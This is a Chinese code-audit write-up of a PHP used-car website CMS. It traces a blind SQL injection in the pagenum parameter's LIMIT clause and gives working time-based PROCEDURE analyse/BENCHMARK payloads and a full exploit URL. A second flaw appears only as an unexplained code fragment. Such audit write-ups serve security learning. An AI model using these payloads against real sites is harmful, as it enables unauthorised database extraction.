0x00 前记
这里的漏洞分析只挑选了两个觉得有新意的点来说,整个cms肯定还是有很多漏洞,可以说是值得练手的一款cms,并且由于是根据某付费cms二次制作完成,因此市面上这类汽车网源码肯定也是千疮百孔,刷洞的可以走起~
0x01 cms简介
大泉州汽车网整站程序是一个以PHP+MySQL进行开发的二手车发布网站源码。
大泉州汽车网整站程序PHP生成html开源版 更新日志:
V1.1.2
1.增加手机版,可以绑定二级域名访问。如http://m.myname.com 绑定到m目录即可, 手机版模版位置:templates/default/m/
2.修正车行商铺首页和车型图片路径不显示
3.修正车型中心图片路径不对。
4.修正用户注册CSS路径。
5.修正用户登录CSS路径。
6.修正百度地图,不需参数可以直接定位
源码下载地址:http://down.chinaz.com/soft/39115.htm
demo地址:http://www.dqzqcw.com/
0x02 漏洞分析
下面两个洞是不那么常见的洞,或者说跟平时挖掘思路不太一致,这里拿出来分享一下,也给那些代码审计新手一点新的思路。现在由于大多数参数都有过滤机制,因此一些常见的注入漏洞可以说是很难找了,笔者如果想要找sql注入漏洞,那么喜欢挑像in类型的注入或者limit、order by这种,这里包含的参数正常都是数字类型,也就是说无需单引号包裹的,所以如果没做数字类型的检查,那么这里很可能就会存在问题,下面进入正篇!
limit注入
这里漏洞代码位于index/2s.php第288行
// 每页显示条数
if (isset($_GET['pagenum'])) {
setMyCookie("pagenum", $_GET['pagenum'], time() + COOKIETIME);
} else {
setMyCookie("pagenum", 32, time() + COOKIETIME);
}
这里传入参数pagenum,然后将值赋到cookie里去(这也是这款cms的特色之处,所有的参数均会存储到cookie,然后在后面做处理的时候从cookie中取值),接着我们跟进pagenum参数来到index/2s.php第301行
include(INC_DIR . 'Page.class.php');
$Page = new Page($db -> tb_prefix . 'cars', $where, '*', $_COOKIE['pagenum'], $orderby);
$listnum = $Page -> total_num;
$list = $Page -> get_data();
这里可以看到我们的pagenum参数已经是从cookie中取值来进行操作,继续跟进Page函数来到include/Page.class.php第33行
*
* @param string $tbname 要操作的表名
* @param string $where 定位条件
* @param string $field 要查询的字段
* @param string $pageSize 每页显示数量
* @param string $orderBy 排序方式
*/
function Page($tbname, $where = '1=1', $field = '*', $page_size = 20, $order_by = '', $group_by = '') {
!mysql_ping() && exit('mysql can not connect!');
if (!empty($page_size)) $this -> page_size = $page_size;
// 获取总记录条数
$sql = "SELECT count(*) as row_num FROM $tbname WHERE $where";
$row_num = mysql_fetch_array(mysql_query($sql));
$this -> total_num = $row_num['row_num'];
//$this -> total_page = ceil($this -> total_num / $page_size);
// 当前page
$page = isset($_GET['page']) && intval($_GET['page']) > 0 ? intval($_GET['page']) : 1;
$this -> page = ($page < $this -> total_page || $this -> total_page == 0) ? $page : $this -> total_page;
// 计算查询的起始值
$start = ($this -> page - 1) * $page_size;
// 查询结果
if($page_size==0){
$sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') ;
}else{
$this -> total_page = ceil($this -> total_num / $page_size);
$sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') . " LIMIT $start,$this->page_size";
}
$result = mysql_query($sql);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
$data[] = $row;
}
$this -> data = $data;
}
这里pagenum对应的参数为$page_size参数,因此这里我们需要来看看page_size参数处于sql语句中的哪个位置。这里可以看到第28行处于limit之后,并且这里没有开启错误回显,因此该漏洞为前台无限制limit盲注漏洞。
我们知道在遇到limit注入时,使用procedure analyse即可实现注入,但是网上搜到的大多是利用报错来进行注入,这里只能盲注,因此也花了不少时间来测试sql语句。
常见的limit报错语句如下
MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
这里想要改成时间盲注语句也很简单,只要对user()那里做修改即可
时间盲注语句如下
MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(3000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'
最后我们来到实战中做检验,完整的payload如下
http://127.0.0.1/?m=2s&pagenum=1 PROCEDURE analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(6000000,SHA1(1)),1))))),1)
延时差距还是很明显的~
if ($arr_c['0'] == "p") {
if (isset($arr_c[1])) {
setMyCookie("price", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['price']) and $_COOKIE['price'] == 0) {
setMyCookie("price", '', time() - COOKIETIME);
}
}
// 车龄
elseif ($arr_c['0'] == "a") {
if (isset($arr_c[1])) {
setMyCookie("age", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['age']) and $_COOKIE['age'] == 0) {
setMyCookie("age", '', time() - COOKIETIME);
}
}
// 车型
elseif ($arr_c['0'] == "m") {
if (isset($arr_c[1])) {
setMyCookie("model", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['model']) and $_COOKIE['model'] == 0) {
setMyCookie("model", '', time() - COOKIETIME);
}
}
if (isset($_COOKIE['model']) and $_COOKIE['model']<>0) {
$where .= " and p_model = ".$_COOKIE['model'];
}
0x03 总结
这里漏洞利用起来也不是很复杂,只是姿势可能跟平时不太一样,所以拿出来分享一下~
上述如有不当之处,敬请指出